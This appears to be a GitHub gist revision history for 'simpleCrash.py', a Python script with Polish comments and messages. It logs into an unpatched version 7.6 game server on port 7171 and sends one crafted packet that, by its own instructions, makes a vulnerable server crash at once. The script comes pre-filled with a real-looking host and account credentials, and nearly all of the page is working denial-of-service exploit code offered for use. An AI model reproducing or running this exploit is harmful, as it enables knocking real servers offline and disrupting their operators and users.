Skip to content

Instantly share code, notes, and snippets.

@ekiro
Last active May 23, 2019 09:33

Revisions

  1. ekiro revised this gist Jun 24, 2013. 1 changed file with 44 additions and 46 deletions.
    90 changes: 44 additions & 46 deletions simpleCrash.py
    Original file line number Diff line number Diff line change
    @@ -1,63 +1,61 @@
    #!/usr/bin/env python
    # -*- encoding=utf8 -*-

    __author__ = 'Piotr "Kiro" Karkut'
    __license__ = "BSD"

    dane = ("selora.eu",123432,"lol123","Kiro")



    import socket
    from struct import *
    from time import sleep
    import os

    dane = ("selora.eu",123432,"lol123","Kiro")

    def addMessageLenght(msg):
    retLen = len(msg);
    ret = msg
    ret = chr(retLen % 256)+chr(retLen / 256) + ret
    return ret
    ret = msg
    ret = chr(retLen % 256)+chr(retLen / 256) + ret
    return ret

    def addString(str):
    strLen = len(str)
    ret = chr(strLen % 256)+chr(strLen / 256) + str
    return ret
    strLen = len(str)
    ret = chr(strLen % 256)+chr(strLen / 256) + str
    return ret
    def getU32(num):
    return pack("<l",num)
    return pack("<l",num)
    def getLoginPacket(num, pswdm, char):
    msg = chr(0x0A)+chr(0x02)+chr(0x00)+chr(0xF8)+chr(0x02)+chr(0x00)
    msg = msg + getU32(num)
    msg = msg + addString(char)
    msg = msg + addString(pswdm)
    msg = addMessageLenght(msg)
    return msg
    msg = chr(0x0A)+chr(0x02)+chr(0x00)+chr(0xF8)+chr(0x02)+chr(0x00)
    msg = msg + getU32(num)
    msg = msg + addString(char)
    msg = msg + addString(pswdm)
    msg = addMessageLenght(msg)
    return msg
    def kill(tab):
    print u"> Łączenie do", tab[0]
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((tab[0], 7171))

    print ">> Logowanie"
    s.send(getLoginPacket(tab[1],tab[2],tab[3]))
    sleep(1)
    re = s.recv(1024)
    if len(re) == 0 or re[2] == 0x14:
    print u"::Twoja postać jest już zalogowana, zbanowana, dane są nieprawidłowe lub coś jeszcze innego"
    return
    print ">>> ATAK"
    s.send(addMessageLenght(chr(0x8a)))
    sleep(1)

    print u">>>> Rozłączenie"
    s.close()
    print "::Atak przeprowadzony"

    if __name__ == "__main__":
    os.system("cls")
    try:
    kill(dane)
    except socket.error:
    print u"::Nie można się połączyć!"
    print u"> Łączenie do", tab[0]
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((tab[0], 7171))

    print ">> Logowanie"
    s.send(getLoginPacket(tab[1],tab[2],tab[3]))
    sleep(1)
    re = s.recv(1024)
    if len(re) == 0 or re[2] == 0x14:
    print u"::Twoja postać jest już zalogowana, zbanowana, dane są nieprawidłowe lub coś jeszcze innego"
    return
    print ">>> ATAK"
    s.send(addMessageLenght(chr(0x8a)))
    sleep(1)

    print u">>>> Rozłączenie"
    s.close()
    print "::Atak przeprowadzony"

    if __name__ == "__main__":
    os.system("cls")
    print "::Simple crasher by Kiro\n"
    try:
    kill(dane)
    except socket.error:
    print u"::Nie można się połączyć!"
  2. ekiro revised this gist Jun 24, 2013. 1 changed file with 0 additions and 7 deletions.
    7 changes: 0 additions & 7 deletions simpleCrash.py
    Original file line number Diff line number Diff line change
    @@ -4,12 +4,6 @@
    __author__ = 'Piotr "Kiro" Karkut'
    __license__ = "BSD"

    # INSTRUKCJA
    # Należy utworzyć postać na dowolnym serwerze 7.6 nie zabezpieczonym przed tym błędem,
    # a następnie wpisać dane do krotki 'dane' poniżej i odpalić skrypt.
    # Jeśli serwer jest podatny padnie natychmiast.
    #
    #dane = (ip,nr acc, hasło, nick)
    dane = ("selora.eu",123432,"lol123","Kiro")


    @@ -63,7 +57,6 @@ def kill(tab):

    if __name__ == "__main__":
    os.system("cls")
    print "::Simple crasher by Kiro\n"
    try:
    kill(dane)
    except socket.error:
  3. ekiro created this gist Jun 24, 2013.
    70 changes: 70 additions & 0 deletions simpleCrash.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,70 @@
    #!/usr/bin/env python
    # -*- encoding=utf8 -*-

    __author__ = 'Piotr "Kiro" Karkut'
    __license__ = "BSD"

    # INSTRUKCJA
    # Należy utworzyć postać na dowolnym serwerze 7.6 nie zabezpieczonym przed tym błędem,
    # a następnie wpisać dane do krotki 'dane' poniżej i odpalić skrypt.
    # Jeśli serwer jest podatny padnie natychmiast.
    #
    #dane = (ip,nr acc, hasło, nick)
    dane = ("selora.eu",123432,"lol123","Kiro")



    import socket
    from struct import *
    from time import sleep
    import os

    def addMessageLenght(msg):
    retLen = len(msg);
    ret = msg
    ret = chr(retLen % 256)+chr(retLen / 256) + ret
    return ret

    def addString(str):
    strLen = len(str)
    ret = chr(strLen % 256)+chr(strLen / 256) + str
    return ret

    def getU32(num):
    return pack("<l",num)

    def getLoginPacket(num, pswdm, char):
    msg = chr(0x0A)+chr(0x02)+chr(0x00)+chr(0xF8)+chr(0x02)+chr(0x00)
    msg = msg + getU32(num)
    msg = msg + addString(char)
    msg = msg + addString(pswdm)
    msg = addMessageLenght(msg)
    return msg

    def kill(tab):
    print u"> Łączenie do", tab[0]
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((tab[0], 7171))

    print ">> Logowanie"
    s.send(getLoginPacket(tab[1],tab[2],tab[3]))
    sleep(1)
    re = s.recv(1024)
    if len(re) == 0 or re[2] == 0x14:
    print u"::Twoja postać jest już zalogowana, zbanowana, dane są nieprawidłowe lub coś jeszcze innego"
    return
    print ">>> ATAK"
    s.send(addMessageLenght(chr(0x8a)))
    sleep(1)

    print u">>>> Rozłączenie"
    s.close()
    print "::Atak przeprowadzony"

    if __name__ == "__main__":
    os.system("cls")
    print "::Simple crasher by Kiro\n"
    try:
    kill(dane)
    except socket.error:
    print u"::Nie można się połączyć!"